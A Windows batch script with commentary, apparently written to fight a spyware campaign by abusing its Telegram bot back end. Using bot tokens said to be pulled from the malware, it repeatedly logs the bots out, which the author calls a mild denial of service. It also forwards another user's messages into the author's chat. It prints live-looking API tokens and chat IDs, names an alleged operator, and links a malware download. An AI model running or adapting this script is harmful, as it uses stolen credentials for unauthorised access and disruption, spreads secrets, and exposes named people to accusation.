Telegram bot logout and foreign message forward script.

tg_FMFS.cmd

::
:: tg_FMFS -> Telegram Foreign Messages Forward Script (Dez2022)
::
:: https://gist.github.com/cw2k/02cbdf288b2a7a36141dacab9ab116a1
::
:: Purpose:
:: If you visit a BotChannel on Telegram let's say https://t.me/limePc_updater_bot you'll just see your messages and not the one the outers.
:: It's a private conversation between you and BotChannel channel you joined. 
:: 
:: However it happens that you also have 
::  #1. the >API token< for that BotChannel.
:: and the 
::  #2. >chat_id< of that other person that has also a session(like you) to the BotChannel
::  #3. ->as well as your >chat_id<.
::  
::  :: Now you can use forwardMessage to see the messages of the other person
::
::  ==> So that script calls 'copyMessage' one by one to do that job
::
::  Note use TG Classic (https://web.telegram.org/?legacy) to see also forward date

@prompt -$g

::     Let's summarize:
::            ~username~                      ~chat_id~
::            KuschelDavid                    978785749   That me.  Note: to get yours join @RawDataBot channel and post a messages there. 
::            rachael_heiter                 1044541305   That ma chinese entity behind all that spyware
::            limePc_updater_bot             1474254540   https://api.telegram.org/bot1474254540:AAFXbAhkmhqMmtFogSJ8JZC6FsB6wSqoytI/
::            Hardwarelogs_bot  (US & CA)    1484615131   https://api.telegram.org/bot1484615131:AAHNx8pd6d-xMiwLtNQDUT_K91g3-kvnesA/
::  
@set curl="C:\Program Files\Git\mingw64\bin\curl.exe"


::limePc_updater_bot
::      4   First NEW_log_File Nov 2020
::  14708    Last NEW_log_File March 2021
::  14709   Text "Start"
::  14710   Text "NEW_audit_File"
::  157..   <Some Deleted not existing MsgID>
::  14711   First NEW_audit_File

::  21558   
::  21582   current(14.12.2022) Max
@set MsgID__Range_Min=21582    
@set MsgID__Range_Max=22000



::Hardwarelogs_bot
::     4   First NEW_audit_File 17.11.2020
::  4489   current(14.12.2022) Max    
::@set MsgID__Range_Min=4491    
::@set MsgID__Range_Max=5000


@set MsgID__Range_Step=1

@set myChat_ID=978785749

:: End of Common input area   

:: After about 4000 requests within an hour you get: ERROR 429 TooManyRequests
:: so when polling just wait x seconds between polls. 
@set PollDelayOnTooManyRequests=30

@set otherChat_ID=1044541305

@set LimePCToken=1474254540:AAFXbAhkmhqMmtFogSJ8JZC6FsB6wSqoytI
@set USOnlyToken=1484615131:AAHNx8pd6d-xMiwLtNQDUT_K91g3-kvnesA

::%curl% -help
::exit

:: Comment in or out as you need it.
:: @call :DoForward
@call :DoBlock

@exit /b   



:DoForward
    @echo.
    @call :ForwardAllMessages %LimePCToken%
::    @call :ForwardAllMessages %USOnlyToken%
    @if errorlevel 1 @echo  End of messages reached !
@exit /b   



:DoBlock
    ::@set /a SecondsPerMinute = 60 * 60

    :ChannelBlockLoop
        @echo ___________________________________________________________

        :: log in Telegram @Hardwarelogs_bot channel
        @set TELEGRAM_BOT_TOKEN=%USOnlyToken%
        Call :tg_SendMessage  "LOG: %time:~,5%  %COMPUTERNAME% did 10-Minutes-Block"
        :: do Logout
        @call :tg_logout %LimePCToken%
        @call :tg_logout %USOnlyToken%
                
        : Wait 10 Minutes
        :  ... and poll status two minutes
        @echo Waiting 10 Minutes
        @FOR /L %%i IN (1,1,10) do @(
            @echo    %time% - polling status #%%i
            @call :tg_getme %LimePCToken%
            @call :tg_getme %USOnlyToken%
            
            rem Wait 59 seconds
            rem yes that will be at 1 second to less
            @call :MyTimeout 59
        )
        :: Fill the 10 seconds timegap but still keep 1 second
        :: for logging to Telegram
        @call :MyTimeout 9

    @goto :ChannelBlockLoop
@exit /b   


:ForwardAllMessages
    @set TELEGRAM_BOT_TOKEN=%1
    
    @FOR /L %%i IN (%MsgID__Range_Min%, %MsgID__Range_Step%, %MsgID__Range_Max%) DO @(
        
        @call :tg_forwardMessage %%i
        if errorlevel 1 @exit /b 1
        
        call :tg_SendMessage "^^^^-%%i-^^^^"
    )   
@exit /b



:tg_getme
    @set TELEGRAM_BOT_TOKEN=%1
    @call :tg_SendWithCurl getme
@exit /b %errorlevel%


:tg_logout
    @set TELEGRAM_BOT_TOKEN=%1
    @echo    %time% - Doing a 10-Minutes-Block on channel: %TELEGRAM_BOT_TOKEN:~,10%   
    @call :tg_SendWithCurl logout
@exit /b %errorlevel%

:tg_forwardMessage

    @set msg_id=%1
    
    @set from__chat_id=%otherChat_ID%
    @set to__chat_id=%myChat_ID%

    @echo    Forwarding Message #%msg_id%
        
    @call :tg_SendWithCurl forwardMessage ^
        -d "message_id=%msg_id%" ^
        -d "from_chat_id=%from__chat_id%" ^
        -d "disable_notification=true" 
    
@exit /b %errorlevel%


:tg_SendMessage
    @set msg_text=%~1
    
    call :tg_SendWithCurl SendMessage ^
        -d "text=^"%msg_text%^""
        
@exit /b %errorlevel%

::
:: SendWithCurl <Command> <params>
::
:: Note: params should not be more than 8 arguments
:tg_SendWithCurl
    
    @set command=%1
    @set params=%~2 %~3 %~4 %~5 %~6 %~7 %~8 %~9
    
    @set replyBuff="%tmp%\tmp.Reply"
    @goto :start_loop
    :Retry
      @type %replyBuff%
      @echo.
      
      @call :MyTimeout %PollDelayOnTooManyRequests%

    :start_loop
     @%curl%  --no-progress-meter  -o %replyBuff%  ^
        https://api.telegram.org/bot%TELEGRAM_BOT_TOKEN%/%command% ^
         %params% ^
        -d "chat_id=%myChat_ID%"
        
        @type %replyBuff% | find /V /i  "Too Many Requests"
        @type %replyBuff% | find /V /i  "Logged out"
        ::@echo %errorlevel%
        @if errorlevel 1 goto :Retry
         
    @type %replyBuff% | find /V /i "Not Found" >nul
@exit /b %errorlevel%

:MyTimeout
    @ping 127.0.0.1 /n %1  >nul
    ::@timeout /t:%1 >nul
    ::@choice /t:%1 /d n /c yn   >nul

@exit /b 0

This is a DIY help against the GovnoCode spyware hosted on
http://magicsound.live

Get dnSpy and open
https://magicsound.live/0234234-sdf-2134sdf-fdsdf/license.exe
To get the whole picture and dirty little details of the 'GovnoCode by: GCI' malware.
You may even debug it. Pause it at main und use the watches feature of dnSpy to decrypt API Tokens.

The exposed Spyware Dropper source listing and more details are here:
https://paste2.org/whKB8nLN

Since all abuse and takedown request didn't work found a way hit that 'beast' at it's Achilles_heel.
And taking down the telegram API backend the spyware uses to deliver it's collected data to.

With the API Tokens extracted from the malware we can issue a logout command that will make that bot-channel unavailable and unresponsive to any more 'input'. So the malware sendDocument will fail.
The logout will last 10 minutes, after that the channel will go online again.
However with a simple script issuing a logout ever 10 minutes we get it to be permanently off.
Kind of a very mild DOS-attack.

And knowing the chat-ID of the malware person at the other end who is receiving the payload we can forward the messages into our chat-ID one by one. That's the main purpose of that script.